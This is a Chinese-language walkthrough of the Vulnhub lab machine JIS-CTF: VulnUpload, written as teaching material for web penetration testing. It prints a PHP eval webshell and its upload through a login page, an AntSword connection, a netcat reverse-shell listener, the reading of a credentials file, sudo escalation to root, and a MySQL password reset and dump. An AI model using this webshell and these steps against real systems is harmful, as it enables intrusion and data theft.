文章目录:
作者的github资源:
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。
一.Vulnhub简介
Vulnhub是一个提供各种漏洞环境的靶场,每个靶场有对应的目标和难度,挑战者通过网络闯入系统获取root权限和查看flag。Vulnhub中包含了各种各样的镜像,可以下载到自己的主机上练习,其大部分的环境是要用VMware或者VirtualBox打开运行的。
作者看了Vulnhub的题目,是一个非常棒的Web渗透靶场,每个靶机都是很酷的一个游戏,需要找到所有的flag和提权,而Hack the box速度堪忧。为了让更多朋友了解Web渗透基础知识,作者接下来会陆续分享该系列20篇文章,尽量选择技术含量较高的靶场,结合技术点进行讲解,希望你们喜欢~
该网站包含了很多靶场题目,每个靶场有对应的镜像下载地址、描述和难度等级等。比如“Me and My Girlfriend”如下图所示:
靶场题目:JIS-CTF: VulnUpload
靶场地址:https://www.vulnhub.com/
entry/jis-ctf-vulnupload,228/
难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时
靶场作者:Mohammad Khreesha
靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.
下载地址:
打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。
描述中显示“Only working with VirtualBox”,只能工作在VirtualBox中工作,但作者是在VMware虚拟机中完成的实验。读者结合自身环境进行渗透测试。
第一步,下载资源
建议采用迅雷打开下载JIS-CTF-VulnUpload-CTF01.OVA文件。
下载完成之后如下图所示,可以看到一个OVA后缀的文件。
第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。
选择存放的位置,然后点击导入。
如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。在编程或Web渗透过程中,我们会遇到各种问题和错误,需要学会谷歌和百度独立解决,这也是对你能力的一种提升。
第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB
第四步,点击开启虚拟机及配置过程 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。
进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。
等待系统启动完毕后,看到这个页面,我们继续回车进入。
回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。
第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件
当Linux系统无法启动时,通常需要进入单用户模式修改一些配置文件,或调整一些参数方可启动。但是在进入单用户模式后,我们的文件系统是只读模式,无法进行修改,那么这个时候就需要用到一条命令“mount –o remount,rw /”。这个命令让我们的 / 路径文件系统的可读模式能自由修改。
接着输入命令查看网卡:
作者的是ens33,然后继续输入命令修改网络配置文件。
输入I修改模式,如下图所示。
修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。
最后输入reboot重启即可。
运行结果如下图所示,我一直登录不进去(不知道用户名和密码)。最初以为是要求用VirtualBox虚拟机的原因,后来反应过来,此时似乎Kali上场开始渗透了。
首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。
第一步,扫描网卡名称
第二步,调用Nmap探测目标主机IP
由于在同一个网段,所以和主机IP地址近视,扫描结果如下图所示,靶场IP为192.168.44.143。
第三步,调用Nmap探测靶机的开放端口信息
第四步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要
相关目录:
第五步,调用whatweb查看环境
第六步,敏感文件分析
做到这里,信息扫描步骤基本介绍,接下来开始靶机渗透。
我们从敏感文件robots.txt中获取目录信息,查看内容如下图所示:
接着我们发现一个敏感的关键词flag,输入目标地址:192.168.44.143/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。
The 1st flag is : {87345xxx2095}
在地址栏中输入网址,显示如下图所示:
右键查看源码得到第二个flag,也是比较简单的知识点。 The 2nd flag is : {7412574xxx895214}
与第二个flag同时出现的还有一个账号和密码,说明接下来我们需要利用这个账号信息。
<html>
<head>
<title>
Fake admin area :)
</title>
<body>
<center><h1>The admin area not work :) </h1></center>
<!-- username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->
</body>
</html>
我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。
登录之后是一个上传页面,我们尝试上传一句话木马。
<?php @eval($_POST["eastmount"]); ?>
由于该网站采用PHP编写,一句话木马如下所示,我们在Kali浏览器中打开并上传。
上传文件成功。
接下来我们用要蚁剑来连接。
接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。
第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。
git clone https://github.com/antoor/antSword.git
cd antSword
作者从官网下载对应的Linux版本。
第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。
unzip AntSword-Loader-v4.0.3-linux-x64.zip
解压显示如下图所示:
第三步,进入中国蚁剑压缩包并打开蚁剑。
./AntSword
蚁剑打开如下图所示:
第四步,创建一个空文件夹(用全英文名字)。
然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。
执行结束之后,“./AntSword”会出现这个界面,说明安装成功。
第一步,利用前面上传的一句话木马。
<?php @eval($_POST['eastmount']);?>
第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。
URL:http://192.168.44.143/uploaded_files/shell.php
密码:eastmount
接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。
第三步,右键文件管理查看webshell目录
找到/var/www/html/目录下,看到hint.txt和flag.txt文件。
直接打开hint.txt文件,我们看到了第三个flag和用户名technawi,该用户名又能做什么呢?
try to find user technawi password to read the flag.txt file, you can find it in a hidden file 😉
The 3rd flag is : {76451xxxx345670}
注意,这里如果您对信息比较敏感,可能会通过直接访问hint.txt得到第三个flag和用户technawi。但更推荐大家尝试中国蚁剑和一句话木马的渗透方法。
第四步,gobuster目录扫描 注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。我们补充一个目录扫描知识点,使用gobuster依次扫各目录下的txt文件。robots.txt和hint.txt目录为200,表示能直接访问,其他目录均不能直接访问,flag.txt提示403。
root@kali:~# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.44.143 -t 100 -x txt
/assets (Status: 301)
/css (Status: 301)
/js (Status: 301)
/flag (Status: 301)
/flag.txt (Status: 403)
/robots.txt (Status: 200)
/uploaded_files (Status: 301)
/hint.txt (Status: 200)
/server-status (Status: 403)
那怎么才能获取flag.txt内容呢?此时你需要想到用户权限的限制和提取处理。
最后补充另一种提权方法,上传php-reverse-shell反弹shell到kali攻击机得到shell。
root@redwand:~# rlwrap nc -lvp 6666
listening on [any] 6666 ...
192.168.0.149: inverse host lookup failed: Unknown host
connect to [192.168.0.103] from (UNKNOWN) [192.168.0.149] 56148
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
04:28:10 up 52 min, 0 users, load average: 0.00, 2.25, 3.94
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Jordaninfosec-CTF01:/$
刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?
第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。
我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag。
(www-data:/var/www/html) $ find / -user 'technawi' 2>/dev/null
/etc/mysql/conf.d/credentials.txt
/var/www/html/flag.txt
/home/technawi
/home/technawi/.cache
/home/technawi/.bash_history
/home/technawi/.sudo_as_admin_successful
/home/technawi/.profile
/home/technawi/.bashrc
/home/technawi/.bash_logout
(www-data:/var/www/html) $ cat /etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
(www-data:/var/www/html) $
获取第四个Flag和technawi用户对应的密码。
如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。
接着我们采用SSH连接,账号和密码为第4个flag获取的值。
找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。
在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。前面我们在home目录下发现 .sudo_as_admin_successful 文件,表示需要使用sudo提权。
首先我们使用sudo -l看看sudo权限。
显示“ALL”说明technawi可以用自己的密码切换为 root 用户,输入“sudo su root”命令,密码为3vilH@ksor。权限成功从technawi提升为root。
同样数据库操作也非常有意思,我们尝试获取mysql数据库内容。
核心步骤为:登录root权限,新建目录并使用命令跳过输入密码过程
technawi@Jordaninfosec-CTF01:/var/www$ sudo su root
root@Jordaninfosec-CTF01:/var/www# whoami
root
root@Jordaninfosec-CTF01:/var/www# ls
html
root@Jordaninfosec-CTF01:/var/www# mkdir -p /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# chown -R mysql:mysql /var/run/mysqld
root@Jordaninfosec-CTF01:/var/www# mysqld_safe --skip-grant-tables &
[1] 1910
root@Jordaninfosec-CTF01:/var/www# 2020-04-10T06:31:09.933846Z mysqld_safe Logging to syslog.
2020-04-10T06:31:09.936319Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.941145Z mysqld_safe Logging to '/var/log/mysql/error.log'.
2020-04-10T06:31:09.959551Z mysqld_safe A mysqld process already exists
输出结果如下图所示:
接着新开一个终端mysql -uroot无密码登陆即可,但作者总是报错。
哎!自己还是太弱了,最后该部分补充Redwand老师的成功代码。 [VulnHub] JIS-CTF - redwand
root@Jordaninfosec-CTF01:/tmp# mysql -uroot
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.17-0ubuntu0.16.04.2 (Ubuntu)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
查看数据库如下:
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)
查看mysql.user表如下:
mysql> select host,user,authentication_string,plugin from user;
+-----------+------------------+-------------------------------------------+-----------------------+
| host | user | authentication_string | plugin |
+-----------+------------------+-------------------------------------------+-----------------------+
| localhost | root | *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9 | mysql_native_password |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE | mysql_native_password |
| localhost | debian-sys-maint | *C46C96C2990814041379A76A744EE3E5026A0D64 | mysql_native_password |
+-----------+------------------+-------------------------------------------+-----------------------+
更新root密码为123456如下:
mysql> update user set authentication_string=password("123456") where user="root";
Query OK, 0 rows affected, 1 warning (0.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql>flush privileges;
mysqldump导出需要的数据库,完成mysql脱裤。
root@Jordaninfosec-CTF01:/tmp# mysqldump -uroot -p sys > sys.sql
Enter password:
写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。
参考文章如下,特别感谢胡老师。